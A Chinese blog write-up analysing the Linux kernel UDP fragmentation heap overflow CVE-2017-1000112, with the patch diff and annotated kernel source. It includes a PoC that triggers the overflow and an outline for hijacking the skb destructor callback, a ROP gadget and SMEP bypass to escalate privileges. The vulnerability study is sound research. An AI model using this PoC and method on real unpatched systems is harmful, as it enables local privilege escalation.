【kernel exploit】CVE-2017-1000112 UDP报文处理不一致导致堆溢出

影响版本:<=Linux 4.12.6 v4.12.7已修补。 7.0分。由syzkaller发现。

测试版本:Linux-4.12.6 exploit及测试环境下载地址—https://github.com/bsauce/kernel-exploit-factory

编译选项CONFIG_SLAB=y

General setup —> Choose SLAB allocator (SLUB (Unqueued Allocator)) —> SLAB

在编译时将.config中的CONFIG_E1000CONFIG_E1000E,变更为=y。参考

$ wget https://mirrors.tuna.tsinghua.edu.cn/kernel/v4.x/linux-4.12.6.tar.xz
$ tar -xvf linux-4.12.6.tar.xz
# KASAN: 设置 make menuconfig 设置"Kernel hacking" ->"Memory Debugging" -> "KASan: runtime memory debugger"。
$ make -j32
$ make all
$ make modules
# 编译出的bzImage目录:/arch/x86/boot/bzImage。

漏洞描述:漏洞函数是__ip_append_data(),漏洞形成的原因在于内核是通过 SO_NO_CHECK 的标志来判断用UFO机制还是non-UFO机制。在两次调用send()时,我们可以通过设定该标志从UFO执行路径转化成non-UFO执行路径(UFO机制是指网卡辅助进行报文分片,用户层协议不用分片,non-UFO路径指的是在用户层进行报文分片),而UFO是支持超过MTU的数据包的,这样在non-UFO路径上就会导致写越界。 具体的过程为UFO填充的skb大于MTU,导致在non-UFO路径上copy = maxfraglen-skb->len变为负数,触发重新分配skb的操作,导致fraggap=skb_prev->len-maxfraglen会很大,超过MTU,之后在调用skb_copy_and_csum_bits()进行复制操作时造成溢出

  • 第1次send UDP报文(长度大于MTU),走UFO路径,会调用ip_ufo_append_data()将用户态数据拷贝到skb的非线性区(skb_shared_info->frags[]);
  • 修改sk->sk_no_check_tx为1;
  • 第2次send UDP报文,走non-UFO路径,会在 __ip_append_data()(9-6) 处调用 skb_copy_and_csum_bits() ,将旧的skb_prev 中的数据(第1次send时UFO路径中skb)复制到新分配的sk_buff中(即 skb_shared_info->frags[]中的 page_frag),从而造成溢出。

补丁patch 漏洞引入—[IPv4/IPv6]: UFO Scatter-gather approach 补丁原理——漏洞是由于 SO_NO_CHECK 可以控制UFO路径切换造成问题,现在只要有了Generic Segmentation Offload(一种UFO分片优化,发生在数据送到网卡之前),就会调用UFO,避免产生路径切换。

// 打补丁前,由 sk_no_check_tx 决定是否进入UFO路径; 打补丁后,即使设置了 sk_no_check_tx, 只要开启了GSO(可理解为数据推送网卡前进行分片,相当于对UFO的优化),一样会进入UFO路径,这样就无法触发漏洞。
diff --git a/net/ipv4/ip_output.c b/net/ipv4/ip_output.c
index 50c74cd890bc7..e153c40c24361 100644
--- a/net/ipv4/ip_output.c
+++ b/net/ipv4/ip_output.c
@@ -965,11 +965,12 @@ static int __ip_append_data(struct sock *sk,
 		csummode = CHECKSUM_PARTIAL;
 
 	cork->length += length;
-	if ((((length + (skb ? skb->len : fragheaderlen)) > mtu) ||
-	     (skb && skb_is_gso(skb))) &&
+	if ((skb && skb_is_gso(skb)) ||
+	    (((length + (skb ? skb->len : fragheaderlen)) > mtu) &&
+	    (skb_queue_len(queue) <= 1) &&
 	    (sk->sk_protocol == IPPROTO_UDP) &&
 	    (rt->dst.dev->features & NETIF_F_UFO) && !dst_xfrm(&rt->dst) &&
-	    (sk->sk_type == SOCK_DGRAM) && !sk->sk_no_check_tx) {
+	    (sk->sk_type == SOCK_DGRAM) && !sk->sk_no_check_tx)) {
 		err = ip_ufo_append_data(sk, queue, getfrag, from, length,
 					 hh_len, fragheaderlen, transhdrlen,
 					 maxfraglen, flags);
// 原来只由 no_check 决定,现在必须设置no_check同时关闭GSO,这样才能进入non-UFO
@@ -1288,6 +1289,7 @@ ssize_t	ip_append_page(struct sock *sk, struct flowi4 *fl4, struct page *page,
 		return -EINVAL;
 
 	if ((size + skb->len > mtu) &&
+	    (skb_queue_len(&sk->sk_write_queue) == 1) &&
 	    (sk->sk_protocol == IPPROTO_UDP) &&
 	    (rt->dst.dev->features & NETIF_F_UFO)) {
 		if (skb->ip_summed != CHECKSUM_PARTIAL)
diff --git a/net/ipv4/udp.c b/net/ipv4/udp.c
index e6276fa3750b9..a7c804f73990a 100644
--- a/net/ipv4/udp.c
+++ b/net/ipv4/udp.c
@@ -802,7 +802,7 @@ static int udp_send_skb(struct sk_buff *skb, struct flowi4 *fl4)
 	if (is_udplite)  				 /*     UDP-Lite      */
 		csum = udplite_csum(skb);
 
-	else if (sk->sk_no_check_tx) {   /* UDP csum disabled */
+	else if (sk->sk_no_check_tx && !skb_is_gso(skb)) {   /* UDP csum off */
 
 		skb->ip_summed = CHECKSUM_NONE;
 		goto send;

保护机制:开启SMEP,关闭SMAP/KASLR。

利用总结

  • 1.第1次send,走UFO路径,使得报文长度大于MTU;
  • 2.修改sk->sk_no_check_tx为1,使得下次send时走non-UFO路径;
  • 3.第2次send,走non-UFO路径,触发溢出;
  • 4.覆盖skb_shared_info->destructor_arg->callback劫持控制流,之后就是绕过SMEP、提权、恢复用户态寄存器。

一、背景知识

1.1 TCP/IP

网络分层:应用层message -> 传输层segment(UDP)-> 网络层datagram(IP) -> 链路层frame

封装层级:{ 数据帧frame { IP包 { UDP包 {message/data}}}}

1.2 UFO机制——UDP fragment offload

报文分片:发送ipv4数据包时,一个链路层帧所能承载的最大数据量称为 最大传输单元(MTU)。当要求发送的IP数据包比数据链路层的MTU大时,必须把该数据包分割成多个IP数据包才能发送(即ipv4的分片,可能发生在ip层或者传输层)。

UFO机制:通过网卡辅助进行ipv4报文分片(这样分片就在网卡硬件中完成,用户态可以发送长度大于MTU的包,而且不必在协议栈中进行分片。只要开启UFO,就可以支持发送超过MTU大小的数据包)。将分片的过程从协议栈中移到网卡硬件中,从而提升效率,减少堆栈开销。UFO的commit——[IPv4/IPv6]: UFO Scatter-gather approach

1.3 UDP corking机制

cork机制:cork意思是软木塞,使数据先 不发出去,等拔去塞子后再发出去。防止不停的去封装发送碎片化的小数据包,使得利用率降低。开启corking后,内核会尽力将小数据包拼接成一个大的数据包(一个MTU)再发送出去,当然如果等待时间过长(200ms),内核没有组成一个MTU也必须发送现有的数据。

优缺点:优点是缓解了碎片化,提高了利用效率;缺点是损失了实时性。

具体代码udp_sendmsg()

int udp_sendmsg(struct sock *sk, struct msghdr *msg, size_t len)
{
    struct inet_sock *inet = inet_sk(sk);
	struct udp_sock *up = udp_sk(sk);
    ... ...
	if (up->pending) {							// 通过 up->pending 检查是否被塞住(corking)
		/*
		 * There are pending frames.
		 * The socket lock must be held while it's corked.
		 */
		lock_sock(sk);
		if (likely(up->pending)) {
			if (unlikely(up->pending != AF_INET)) {
				release_sock(sk);
				return -EINVAL;
			}
			goto do_append_data;				// 如果被塞住,则进行数据追加——do_append_data
		}
		release_sock(sk);
	}
	ulen += sizeof(struct udphdr);
    ... ...
do_append_data:									// do_append_data —— 做数据追加
	up->len += ulen;
	err = ip_append_data(sk, fl4, getfrag, msg, ulen,		// <---- ip_append_data() 数据追加
			     sizeof(struct udphdr), &ipc, &rt,
			     corkreq ? msg->msg_flags|MSG_MORE : msg->msg_flags);
	if (err)
		udp_flush_pending_frames(sk);			// 如果追加数据失败,则调用 udp_flush_pending_frame() -> __ip_flush_pending_frames() 丢弃数据
	else if (!corkreq)
		err = udp_push_pending_frames(sk);
	else if (unlikely(skb_queue_empty(&sk->sk_write_queue)))
		up->pending = 0;
	release_sock(sk);
    ... ...
}
EXPORT_SYMBOL(udp_sendmsg);

1.4 ip_append_data() 分片源码分析

参考Linux网络协议栈–ip_append_data函数分析

说明ip_append_data() -> __ip_append_data(),实际由__ip_append_data() 完成分片工作。

作用:将上层下来的数据进行整型,如果是大数据包则进行切割,变成多个小于或等于MTU的SKB;如果是小数据包,并且开启了聚合,就会将若干个数据包整合。

流程图:从sock发送队列中取skb,如果发送队列为空,则新分配一个skb;如果不为空,则直接使用该skb;然后,判断per task的page_frag中是否有空间可用,有的话,就直接从用户态拷贝数据到该page_frag中,如果没有空间,则分配新的page,放入page_frag中,然后再从用户态拷贝数据到其中,最后将该page_frag中的page链入skb的非线性区中(即skb_shared_info->frags[]

【kernel exploit】CVE-2017-1000112 UDP报文处理不一致导致堆溢出

漏洞调用链udp_sendmsg() -> ip_append_data() -> __ip_append_data() -> ip_ufo_append_data()

1.4.1 ip_append_data() —— 准备工作
// getfrag(): 将数据赋值到skb中,一个skb就是一个sk_buff结构体指针, struct sk_buff 表示一个socket缓冲区。
// 参数 int transhdrlen: 表示传输层header的长度,也标志是否为第1个fragment,非0则为第1个fragment。
// 参数 unsigned int flags: 标志。本函数用到了两个标志,一是 MSG_PROBE(表示只进行MTU路径探测,并不真正进行数据发送),二是 MSG_MORE(表示后续还有数据被发送)。
int ip_append_data(struct sock *sk, struct flowi4 *fl4,
		   int getfrag(void *from, char *to, int offset, int len,
			       int odd, struct sk_buff *skb),
		   void *from, int length, int transhdrlen,
		   struct ipcm_cookie *ipc, struct rtable **rtp,
		   unsigned int flags)
{
	struct inet_sock *inet = inet_sk(sk);
	int err;

	if (flags&MSG_PROBE)			// (1) 首先判定是否开启MSG_PROBE, 若开启则直接返回0
		return 0;

	if (skb_queue_empty(&sk->sk_write_queue)) {	// (2) 再判断 sk_buff 队列是否为空,如果为空则通过 ip_setup_cork() 初始化 cork 变量
		err = ip_setup_cork(sk, &inet->cork.base, ipc, rtp);
		if (err)
			return err;
	} else {						// (3) 如果 sk_buff 不为空,则使用上次的路由,IP选项,以及分片长度。设置 transhdrlen = 0 说明不是第一个fragment。
		transhdrlen = 0;
	}

	return __ip_append_data(sk, fl4, &sk->sk_write_queue, &inet->cork.base, // <--------
				sk_page_frag(sk), getfrag,
				from, length, transhdrlen, flags);
}
1.4.2 __ip_append_data() —— 分片处理流程
static int __ip_append_data(struct sock *sk,
			    struct flowi4 *fl4,
			    struct sk_buff_head *queue,
			    struct inet_cork *cork,
			    struct page_frag *pfrag,
			    int getfrag(void *from, char *to, int offset,
					int len, int odd, struct sk_buff *skb),
			    void *from, int length, int transhdrlen,
			    unsigned int flags)
{
	struct inet_sock *inet = inet_sk(sk);
	struct sk_buff *skb;						// (1) 分配一个新的sk_buff, 准备将它放入 sk_write_queue 队列, 稍后函数为数据加入IP头信息即可往下传输

	struct ip_options *opt = cork->opt;
	int hh_len;
	int exthdrlen;
	int mtu;
	int copy;
	int err;
	int offset = 0;
	unsigned int maxfraglen, fragheaderlen, maxnonfragsize;
	int csummode = CHECKSUM_NONE;
	struct rtable *rt = (struct rtable *)cork->dst;
	u32 tskey = 0;

	skb = skb_peek_tail(queue);					// (2) 获取skb队列的尾结点

	exthdrlen = !skb ? rt->dst.header_len : 0;
	mtu = cork->fragsize;
	if (cork->tx_flags & SKBTX_ANY_SW_TSTAMP &&
	    sk->sk_tsflags & SOF_TIMESTAMPING_OPT_ID)
		tskey = sk->sk_tskey++;

	hh_len = LL_RESERVED_SPACE(rt->dst.dev);	// (3) 获取链路层header及IP首部长度 hh_len=16

	fragheaderlen = sizeof(struct iphdr) + (opt ? opt->optlen : 0);	// IP 头部长度
	maxfraglen = ((mtu - fragheaderlen) & ~7) + fragheaderlen;		// 最大IP头部长度, 考虑对齐 mtu=1500, fragheaderlen=20
    //IP数据报的数据需要4字节对齐,为加速计算直接将IP数据报的数据根据当前MTU8字节对齐,然后重新得到用于分片的长度
	maxnonfragsize = ip_sk_ignore_df(sk) ? 0xFFFF : mtu;			// 是否超过最大长度 64k

	if (cork->length + length > maxnonfragsize - fragheaderlen) {
		ip_local_error(sk, EMSGSIZE, fl4->daddr, inet->inet_dport,
			       mtu - (opt ? opt->optlen : 0));
		return -EMSGSIZE;
	}// 如果输出的数据长度超过一个IP数据报能容纳的长度,则向输出该数据报的套接口发送EMSGSIZE

	/*
	 * transhdrlen > 0 means that this is the first fragment and we wish
	 * it won't be fragmented in the future. 
	 */
	if (transhdrlen &&	// transhdrlen!=0说明ip_append_data工作在第一个片段。如果IP数据报没有分片,且输出网络设备支持硬件执行校验和,则设置CHECKSUM_PARTIAL,表示由硬件来执行校验和 transhdrlen = 8, length = 3492
	    length + fragheaderlen <= mtu &&
	    rt->dst.dev->features & (NETIF_F_HW_CSUM | NETIF_F_IP_CSUM) &&
	    !(flags & MSG_MORE) &&
	    !exthdrlen)
		csummode = CHECKSUM_PARTIAL;			// (4) 校验和计算?

	cork->length += length;						// 软木塞长度更新
	if ((((length + (skb ? skb->len : fragheaderlen)) > mtu) ||
	     (skb && skb_is_gso(skb))) &&			// (5) 如果UDP包满足2个条件,一是发送的数据长度大于MTU,需要进行分片; 二是网卡支持UDP分片(UFO支持)。
	    (sk->sk_protocol == IPPROTO_UDP) &&
	    (rt->dst.dev->features & NETIF_F_UFO) && !dst_xfrm(&rt->dst) &&
	    (sk->sk_type == SOCK_DGRAM) && !sk->sk_no_check_tx) { 	// 由 sk_no_check_tx 来控制是否进入UFO路径(用户层可发送大于MTU长度的报文,由网卡驱动进行分片)
		err = ip_ufo_append_data(sk, queue, getfrag, from, length,
					 hh_len, fragheaderlen, transhdrlen,
					 maxfraglen, flags);		// (6) UFO路径: 满足(5)则调用支持UFO机制的 ip_ufo_append_data(),将用户态数据拷贝到skb中的非线性区中(即skb_shared_info->frags[],原本用于SG)
		if (err)
			goto error;
		return 0;
	}

	/* So, what's going on in the loop below?
	 *
	 * We use calculated fragment length to generate chained skb,
	 * each of segments is IP fragment ready for sending to network after
	 * adding appropriate IP header.
	 */

	if (!skb)									// (7) non-UFO路径: 如果skb为空,即sk_buff队列此时为空,那么跳转到 alloc_new_skb			说明输出队列为空,则需分配一个新的SKB用于复制数据。
		goto alloc_new_skb;

copy变量:表示最后一个skb的剩余空间。见 (8)处,skb->len 表示此SKB管理的 Data Buffer中数据的总长度。copy分为3种情况,接下来的代码将分别处理这3种情况:

  • copy < 0:即 mtu < skb->len 溢出了。有些数据需要从当前的IP分片中移动到新的片段中,需要分配新的skb来存储溢出的数据。
  • copy > 0:最后一个skb还有空间。
  • copy = 0:最后一个skb被填满。

【kernel exploit】CVE-2017-1000112 UDP报文处理不一致导致堆溢出

	while (length > 0) { // 循环处理待输出数据
		/* Check if the remaining data fits into current packet. */
		copy = mtu - skb->len;					// (8) 计算copy——上一个skb的剩余空间,也就是本次复制数据的长度mtu=1500,skb->len=3512 
		if (copy < length)	// length为数据的长度,使空间小于数据大小,设置第2次发送的数据 length=1
			copy = maxfraglen - skb->len;	// maxfraglen=1500, copy=-2012
		if (copy <= 0) {						// (9) 如果copy<0, 表示上一个SKB已经填满或空间不足8B,需要分配新的SKB
			char *data;
			unsigned int datalen;
			unsigned int fraglen;
			unsigned int fraggap;
			unsigned int alloclen;
			struct sk_buff *skb_prev;
alloc_new_skb:
			skb_prev = skb;	// 如果上一个SKB中存在多余8字节对齐的MTU数据,要计算移动到当前SKB的数据长度
			if (skb_prev)				// (9-1) 如果存在skb,需计算从上一个skb中取多长的数据到下一个新的skb
				fraggap = skb_prev->len - maxfraglen;		// 这里其实就是负的copy, fraggap=3512-1500=2012
			else
				fraggap = 0;

			/*
			 * If remaining data exceeds the mtu,
			 * we know we need more fragment(s).
			 */
			datalen = length + fraggap;	// 第2次发送时,datalen=1+2012=2013
			if (datalen > mtu - fragheaderlen)	// 如果剩余的数据一个分片不够容纳,则根据MTU重新计算本次可发送的数据长度
				datalen = maxfraglen - fragheaderlen;	// datalen=1500-20=1480
			fraglen = datalen + fragheaderlen;	// 根据本次复制的数据长度以及IP首部长度,计算三层首部及数据的总长度

			if ((flags & MSG_MORE) &&	// (9-2) 计算需要分配的新的skb的大小 alloclen
			    !(rt->dst.dev->features&NETIF_F_SG))
				alloclen = mtu;		// 按最大分配大小,如果后续还有数据输出且网络设备不支持聚合分散I/O,则将MTU作为分配SKB的长度
			else
				alloclen = fraglen;	// 按数据长度分配大小, 否则按数据的长度(包括IP首部)分配SKB的空间即可

			alloclen += exthdrlen;	// alloclen=1500+0=1500

			/* The last fragment gets additional space at tail.
			 * Note, with MSG_MORE we overallocate on fragments,
			 * because we have no idea what fragment will be
			 * the last.
			 */
			if (datalen == length + fraggap)
				alloclen += rt->dst.trailer_len;

			if (transhdrlen) {			// (9-3) 如果是第1个分片,则调用 sock_alloc_send_skb() 分配新的skb
				skb = sock_alloc_send_skb(sk,
						alloclen + hh_len + 15,
						(flags & MSG_DONTWAIT), &err);
			} else {					// (9-4) 如果不是第1个分片
				skb = NULL;
				if (atomic_read(&sk->sk_wmem_alloc) <=
				    2 * sk->sk_sndbuf)
					skb = sock_wmalloc(sk,
							   alloclen + hh_len + 15, 1,
							   sk->sk_allocation);
				if (unlikely(!skb))
					err = -ENOBUFS;
			}
			if (!skb)					// 分配失败,则跳转到error
				goto error;

			/*
			 *	Fill in the control structures
			 */
			skb->ip_summed = csummode;	// (9-5) 分配成功,首先初始化 skb 中用于校验的控制数据 
			skb->csum = 0;
			skb_reserve(skb, hh_len);		// 为数据报预留用于存放二层首部、三层首部和数据的空间,并设置SKB中指向三层和四层的指针

			/* only the initial fragment is time stamped */
			skb_shinfo(skb)->tx_flags = cork->tx_flags;	// 初始化时间戳
			cork->tx_flags = 0;
			skb_shinfo(skb)->tskey = tskey;
			tskey = 0;

			/*
			 *	Find where to start putting bytes.
			 */
			data = skb_put(skb, fraglen + exthdrlen);	// 预留L2、L3首部空间
			skb_set_network_header(skb, exthdrlen);		// 设置L3层的指针
			skb->transport_header = (skb->network_header +
						 fragheaderlen);
			data += fragheaderlen + exthdrlen;			// data=20+0=20

			if (fraggap) {								// 如果上一个SKB的数据超过8字节对齐MTU,则将超出数据和传输层首部复制到当前SKB,重新计算校验和 fraggap=2012
				skb->csum = skb_copy_and_csum_bits(		// (9-6) skb_copy_and_csum_bits() 函数将数据从第一个创建的sk_buff复制到新分配的sk_buff(以8字节对齐)		<----------- !!!!!!!!!! 溢出点
					skb_prev, maxfraglen,
					data + transhdrlen, fraggap, 0);
				skb_prev->csum = csum_sub(skb_prev->csum,
							  skb->csum);
				data += fraggap;
				pskb_trim_unique(skb_prev, maxfraglen);
			}

			copy = datalen - transhdrlen - fraggap;		// 传输层首部和上个SKB多出的数据已复制,接着复制剩下的数据 //copy = 1480-0-2012=-532
			if (copy > 0 && getfrag(from, data + transhdrlen, offset, copy, fraggap, skb) < 0) {
				err = -EFAULT;
				kfree_skb(skb);
				goto error;
			}

			offset += copy;								// 完成本次复制数据,计算下次需复制数据的地址及剩余数据的长度。传输层首部已经复制
			length -= datalen - fraggap;				// 因此需要将传输层首部的transhdrlen置为0,同时IPsec首部长度exthdrlen也置为0 //length=2013-1480=533
			transhdrlen = 0;
			exthdrlen = 0;
			csummode = CHECKSUM_NONE;

			if ((flags & MSG_CONFIRM) && !skb_prev)
				skb_set_dst_pending_confirm(skb, 1);

			/*
			 * Put the packet on the pending queue.
			 */
			__skb_queue_tail(queue, skb);				// 把新skb插入skb队列队尾, 接着复制剩下的数据
			continue;
		}

        if (copy > length)
            copy = length; //如果上个SKB剩余的空间大于剩余待发送的数据长度,则剩下的数据可以一次完成

        if (!(rt->dst.dev->features&NETIF_F_SG)) {
            unsigned int off;//如果输出网络设备不支持聚合分散I/O,则将数据复制到线性区域的剩余空间

二、漏洞原理

2.1 POC 分析

说明

  • SOCK_DGRAM 表示UDP
  • AF_INET 代表TCP/IP协议族,在socket编程中只能是 AF_INET
  • s_addr 代表ip地址,INADDR_LOOPBACK 代表绑定地址 LOOPBAC,往往是127.0.0.1,只能收到127.0.0.1上面的连接请求。htons将其转换成网络数据格式的数字。

poc分析:主要是两次send。第一次send,带上标记 MSG_MORE 告诉系统我们接下来还有数据要发送,此时走UFO路径。

// poc
#define SHINFO_OFFSET 3164
void poc(unsigned long payload) {
	char buffer[4096];
	memset(&buffer[0], 0x42, 4096);
	init_skb_buffer(&buffer[SHINFO_OFFSET], payload);

	int s = socket(PF_INET, SOCK_DGRAM, 0);		// 1. 创建UDP socket。SOCK_DGRAM表示UDP

	struct sockaddr_in addr;
	memset(&addr, 0, sizeof(addr));
	addr.sin_family = AF_INET;
	addr.sin_port = htons(8000);
	addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);

	if (connect(s, (void*)&addr, sizeof(addr))) 
		exit(EXIT_FAILURE);

	int size = SHINFO_OFFSET + sizeof(struct skb_shared_info);
	int rv = send(s, buffer, size, MSG_MORE);	// 2.发送包,并用标志MSG_MORE告诉内核我们还会发送更多包

	int val = 1;
	rv = setsockopt(s, SOL_SOCKET, SO_NO_CHECK, &val, sizeof(val));	// 3.关闭UDP checksum

	send(s, buffer, 1, 0);						// 4.第2次发送non-UFO触发漏洞。其size为1

	close(s);
}

__ip_append_data() 源码分析中的(5),如果要发送的是UDP数据包、系统支持UFO、且需要分片(length > mtu),则send()最终会进入 ip_ufo_append_data()

	if ((((length + (skb ? skb->len : fragheaderlen)) > mtu) ||
	     (skb && skb_is_gso(skb))) &&			// (5) 如果UDP包满足2个条件,一是发送的数据长度大于MTU,需要进行分片; 二是开启了UFO支持。
	    (sk->sk_protocol == IPPROTO_UDP) &&
	    (rt->dst.dev->features & NETIF_F_UFO) && !dst_xfrm(&rt->dst) &&
	    (sk->sk_type == SOCK_DGRAM) && !sk->sk_no_check_tx) {
		err = ip_ufo_append_data(sk, queue, getfrag, from, length,
					 hh_len, fragheaderlen, transhdrlen,
					 maxfraglen, flags);		// (6) 满足(5)则调用支持UFO机制的 ip_ufo_append_data()

2.2 ip_ufo_append_data() 分析

static inline int ip_ufo_append_data(struct sock *sk,
			struct sk_buff_head *queue,
			int getfrag(void *from, char *to, int offset, int len,
			       int odd, struct sk_buff *skb),
			void *from, int length, int hh_len, int fragheaderlen,
			int transhdrlen, int maxfraglen, unsigned int flags)
{
	struct sk_buff *skb;
	int err;

	/* There is support for UDP fragmentation offload by network
	 * device, so create one single skb packet containing complete
	 * udp datagram
	 */
	skb = skb_peek_tail(queue);						// (1) 取skb队列的队尾。
	if (!skb) {
		skb = sock_alloc_send_skb(sk,				// (2) 分配新的skb,然后把数据放到新的skb的非线性区域中(skb_share_info)。如下图所示
			hh_len + fragheaderlen + transhdrlen + 20,
			(flags & MSG_DONTWAIT), &err);

		if (!skb)
			return err;

		/* reserve space for Hardware header */
		skb_reserve(skb, hh_len);

		/* create space for UDP/IP header */
		skb_put(skb, fragheaderlen + transhdrlen);

		/* initialize network header pointer */
		skb_reset_network_header(skb);

		/* initialize protocol header pointer */
		skb->transport_header = skb->network_header + fragheaderlen;

		skb->csum = 0;

		if (flags & MSG_CONFIRM)
			skb_set_dst_pending_confirm(skb, 1);

		__skb_queue_tail(queue, skb);
	} else if (skb_is_gso(skb)) {
		goto append;
	}

	skb->ip_summed = CHECKSUM_PARTIAL;
	/* specify the length of each IP datagram fragment */
	skb_shinfo(skb)->gso_size = maxfraglen - fragheaderlen;
	skb_shinfo(skb)->gso_type = SKB_GSO_UDP;				// 通过skb_shinfo(SKB)宏可以看出  skb_shared_info 与skb之间的关系:  skb_shared_info=skb_shinfo(skb)	
#define skb_shinfo(SKB)    ((struct skb_shared_info *)(skb_end_pointer(SKB)))

append:
	return skb_append_datato_frags(sk, skb, getfrag, from,	// (3) 最后新的skb入队
				       (length - transhdrlen));
}

skb_shared_info 结构:

【kernel exploit】CVE-2017-1000112 UDP报文处理不一致导致堆溢出

struct skb_shared_info {
	unsigned short	_unused;
	unsigned char	nr_frags;
	__u8		tx_flags;
	unsigned short	gso_size;
	/* Warning: this field is not always filled in (UFO)! */
	unsigned short	gso_segs;
	struct sk_buff	*frag_list;
	struct skb_shared_hwtstamps hwtstamps;
	unsigned int	gso_type;
	u32		tskey;
	__be32          ip6_frag_id;

	/*
	 * Warning : all fields before dataref are cleared in __alloc_skb()
	 */
	atomic_t	dataref;

	/* Intermediate layers must ensure that destructor_arg
	 * remains valid until skb destructor */
	void *		destructor_arg;

	/* must be last field, see pskb_expand_head() */
	skb_frag_t	frags[MAX_SKB_FRAGS];
};

2.3 漏洞分析

第1次send:执行UFO路径(调用ip_ufo_append_data()),skb中数据的大小是大于mtu的。skb是新分配出来的。
【kernel exploit】CVE-2017-1000112 UDP报文处理不一致导致堆溢出

第2次send

  • 第二次send之前,先调用setsockopt()来设置 SO_NO_CHECK 标志,即不校验 checksum。 (内核是通过SO_NO_CHECK 标志来判断用UFO机制还是non-UFO机制,这一点在源码中并不明显。可参见下面漏洞补丁处的patch)。
  • 这样第2次send时,会执行non-UFO路径。此时 copy = mtu - skb_len 小于0,此时的skb是直接从队尾取出来,也就是第1次send时新分配出来的skb(其 len>mtu)。
  • 由于 copy<0,在 non-UFO 路径上触发了重新分配skb的操作。见 __ip_append_data()(9) 处的代码。
  • 重新分配结束后,会在 __ip_append_data()(9-6) 处调用 skb_copy_and_csum_bits() ,将旧的skb_prev 中的数据(第1次send时UFO路径中skb)复制到新分配的sk_buff中(即 skb_shared_info->frags[]中的 page_frag),从而造成溢出。

三、漏洞利用

劫持函数指针skb_shared_info -> destructor_arg,在skb释放时,kfree_skb()中底层对于其产生一个析构函数的调用—— kfree_skb() -> __kfree_skb() -> skb_release_all() -> skb_release_data() -> 这里 所以可通过覆盖skb_shared_info->destructor_arg->callback即可劫持控制流。

static void skb_release_data(struct sk_buff *skb)
{
    ...
        struct ubuf_info *uarg;

		uarg = shinfo->destructor_arg;	// 将一个 void 赋给一个 ubuf_info 类型
		if (uarg->callback)
			uarg->callback(uarg, true);
    ...
}
// ubuf_info 作用
/* 	1.当完成了skb DMA时,通过他调用回调函数做析构,释放缓冲区。并且此时skb引用计数为0。
	2.ctx负责跟踪设备上下文。desc负责跟踪用户空间的缓冲区索引。
	3.zerocopy_success代表是否发生 零拷贝(将数据直接从磁盘文件复制到网卡设备中,而不需要经由应用程序,提高应用程序的性能,减少内核与用户模式之间的上下文切换,参见 https://zhuanlan.zhihu.com/p/85571977)。
*/
struct ubuf_info {
    void (*callback)(struct ubuf_info *, bool zerocopy_success);
    void *ctx;
    unsigned long desc;
};

问题:gadget 0xffffffff8100008d: xchg eax, esp; ret;不能用,只要执行就会终止,也没有报错信息。

解决:换一些地址更大的gadget。xchg eax, esp; ret 指令的二进制表示为 94 C3,在IDA中搜索(search -> sequence of bytes)。

.text:FFFFFFFF8104AD63		setz    r11b

版本适配:注意不同版本的内核,需修改gadget偏移、skb_shared_info结构、SHINFO_OFFSETskb_shared_info结构在buffer中的偏移)。

测试成功截图

【kernel exploit】CVE-2017-1000112 UDP报文处理不一致导致堆溢出

参考

Linux内核[CVE-2017-1000112] (UDP Fragment Offload) 分析

CVE-2017-1000112-UFO 学习总结

Linux Kernel Vulnerability Can Lead to Privilege Escalation: Analyzing CVE-2017-1000112

Linux网络协议栈–ip_append_data函数分析

上一篇:PAT 乙级 1037.在霍格沃茨找零钱 C++/Java


下一篇:网络通讯、socket编程